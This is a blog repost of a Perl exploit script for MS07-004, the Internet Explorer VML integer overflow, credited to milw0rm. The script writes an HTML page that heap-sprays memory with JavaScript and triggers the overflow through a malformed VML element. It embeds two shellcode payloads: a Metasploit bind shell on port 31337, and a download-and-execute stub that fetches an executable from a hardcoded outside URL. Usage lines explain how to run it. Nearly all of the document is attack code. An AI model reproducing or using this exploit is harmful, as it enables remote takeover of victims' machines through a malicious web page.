MS07-004 VML integer overflow exploit

最新推荐文章于 2022-07-05 23:58:55 发布
iiprogram
最新推荐文章于 2022-07-05 23:58:55 发布
阅读量1.2k
点赞数
文章标签： integer perl url shell html javascript
#(c) pang0 // www.tcbilisim.org
#bug found3d by LifeAsaGeek
#thx => o.g. / chaos / sakkure / stansar / xoron
#MS07-004 VML integer overflow exploit
$html = "laz.html";
print "(c) pang0 // www.tcbilisim.org/nbug found3d by LifeAsaGeek/nMS07-004 VML integer overflow exploit/nusage: perl $0 <shell> <opt>/n",
"shell => -b bind(31337)/n-d down.exec if selc. -d u must a down addr. /n",
"exam: perl $0 -b/nexam2: perl $0 -d http://blah.com/nc.exe/n" and exit if !$ARGV[0];
#down exec
$down =
"/xEB/x54/x8B/x75/x3C/x8B/x74/x35/x78/x03/xF5/x56/x8B/x76/x20/x03".
"/xF5/x33/xC9/x49/x41/xAD/x33/xDB/x36/x0F/xBE/x14/x28/x38/xF2/x74".
"/x08/xC1/xCB/x0D/x03/xDA/x40/xEB/xEF/x3B/xDF/x75/xE7/x5E/x8B/x5E".
"/x24/x03/xDD/x66/x8B/x0C/x4B/x8B/x5E/x1C/x03/xDD/x8B/x04/x8B/x03".
"/xC5/xC3/x75/x72/x6C/x6D/x6F/x6E/x2E/x64/x6C/x6C/x00/x43/x3A/x5C".
"/x55/x2e/x65/x78/x65/x00/x33/xC0/x64/x03/x40/x30/x78/x0C/x8B/x40".
"/x0C/x8B/x70/x1C/xAD/x8B/x40/x08/xEB/x09/x8B/x40/x34/x8D/x40/x7C".
"/x8B/x40/x3C/x95/xBF/x8E/x4E/x0E/xEC/xE8/x84/xFF/xFF/xFF/x83/xEC".
"/x04/x83/x2C/x24/x3C/xFF/xD0/x95/x50/xBF/x36/x1A/x2F/x70/xE8/x6F".
"/xFF/xFF/xFF/x8B/x54/x24/xFC/x8D/x52/xBA/x33/xDB/x53/x53/x52/xEB".
"/x24/x53/xFF/xD0/x5D/xBF/x98/xFE/x8A/x0E/xE8/x53/xFF/xFF/xFF/x83".
"/xEC/x04/x83/x2C/x24/x62/xFF/xD0/xBF/x7E/xD8/xE2/x73/xE8/x40/xFF".
"/xFF/xFF/x52/xFF/xD0/xE8/xD7/xFF/xFF/xFF".
"$url";
#metasploit 31337 bind shell
$bind =
"/x29/xc9/x83/xe9/xb0/xd9/xee/xd9/x74/x24/xf4/x5b/x81/x73/x13/x09".
"/x7c/xda/x38/x83/xeb/xfc/xe2/xf4/xf5/x16/x31/x75/xe1/x85/x25/xc7".
"/xf6/x1c/x51/x54/x2d/x58/x51/x7d/x35/xf7/xa6/x3d/x71/x7d/x35/xb3".
"/x46/x64/x51/x67/x29/x7d/x31/x71/x82/x48/x51/x39/xe7/x4d/x1a/xa1".
"/xa5/xf8/x1a/x4c/x0e/xbd/x10/x35/x08/xbe/x31/xcc/x32/x28/xfe/x10".
"/x7c/x99/x51/x67/x2d/x7d/x31/x5e/x82/x70/x91/xb3/x56/x60/xdb/xd3".
"/x0a/x50/x51/xb1/x65/x58/xc6/x59/xca/x4d/x01/x5c/x82/x3f/xea/xb3".
"/x49/x70/x51/x48/x15/xd1/x51/x78/x01/x22/xb2/xb6/x47/x72/x36/x68".
"/xf6/xaa/xbc/x6b/x6f/x14/xe9/x0a/x61/x0b/xa9/x0a/x56/x28/x25/xe8".
"/x61/xb7/x37/xc4/x32/x2c/x25/xee/x56/xf5/x3f/x5e/x88/x91/xd2/x3a".
"/x5c/x16/xd8/xc7/xd9/x14/x03/x31/xfc/xd1/x8d/xc7/xdf/x2f/x89/x6b".
"/x5a/x2f/x99/x6b/x4a/x2f/x25/xe8/x6f/x14/xa0/x51/x6f/x2f/x53/xd9".
"/x9c/x14/x7e/x22/x79/xbb/x8d/xc7/xdf/x16/xca/x69/x5c/x83/x0a/x50".
"/xad/xd1/xf4/xd1/x5e/x83/x0c/x6b/x5c/x83/x0a/x50/xec/x35/x5c/x71".
"/x5e/x83/x0c/x68/x5d/x28/x8f/xc7/xd9/xef/xb2/xdf/x70/xba/xa3/x6f".
"/xf6/xaa/x8f/xc7/xd9/x1a/xb0/x5c/x6f/x14/xb9/x55/x80/x99/xb0/x68".
"/x50/x55/x16/xb1/xee/x16/x9e/xb1/xeb/x4d/x1a/xcb/xa3/x82/x98/x15".
"/xf7/x3e/xf6/xab/x84/x06/xe2/x93/xa2/xd7/xb2/x4a/xf7/xcf/xcc/xc7".
"/x7c/x38/x25/xee/x52/x2b/x88/x69/x58/x2d/xb0/x39/x58/x2d/x8f/x69".
"/xf6/xac/xb2/x95/xd0/x79/x14/x6b/xf6/xaa/xb0/xc7/xf6/x4b/x25/xe8".
"/x82/x2b/x26/xbb/xcd/x18/x25/xee/x5b/x83/x0a/x50/xf9/xf6/xde/x67".
"/x5a/x83/x0c/xc7/xd9/x7c/xda/x38";
if ($ARGV[0] eq '-d'){
$shlaz = $down;$url = $ARGV[1];$url = "http://pang0.by.ru/wget/nc.exe";
print "u must start http:// or ftp:///n" and exit if !($url =~ /http|ftp/);
}
$shlaz = $bind if $ARGV[0] eq '-b';
#citation to metasploit
sub dongu {
        my $data = shift;
        my $mode = shift() || 'LE';
        my $code = '';

        my $idx = 0;

        if (length($data) % 2 != 0) {
                $data .= substr($data, -1, 1);
        }

        while ($idx < length($data) - 1) {
                my $c1 = ord(substr($data, $idx, 1));
                my $c2 = ord(substr($data, $idx+1, 1));
                if ($mode eq 'LE') {
                        $code .= sprintf('%%u%.2x%.2x', $c2, $c1);
                } else {
                        $code .= sprintf('%%u%.2x%.2x', $c1, $c2);
                }
                $idx += 2;
        }

        return $code;
}
$sh3llz = dongu($shlaz);
#_
$body = <<BODY;
<html xmlns:v="urn:schemas-microsoft-com:vml">

<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v//:* { behavior: url(#VMLRender); }
</style>
</head>

<body>

<SCRIPT language="javascript">
shellcode =
unescape("%u9090%u9090$sh3llz");

bigblock = unescape("%u0505%u0505");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<350;i++) memory[i] = block + shellcode;

</script>

<v:rect style='width:120pt;height:80pt' fillcolor="red" >
<v:recolorinfo recolorstate="t" numcolors="97612895">

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v/recolorinfo>
</html>
BODY
open H,">$html" or die $! and exit;
print H $body;

# milw0rm.com [2007-01-17]
iiprogram
关注
0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
MS07-004 VML integer overflow exploit

#(c) pang0 // www.tcbilisim.org#bug found3d by LifeAsaGeek#thx => o.g. / chaos / sakkure / stansar / xoron#MS07-004 VML integer overflow exploit$html = "laz.html";print "(c) pang0 // www.tcb
复制链接

扫一扫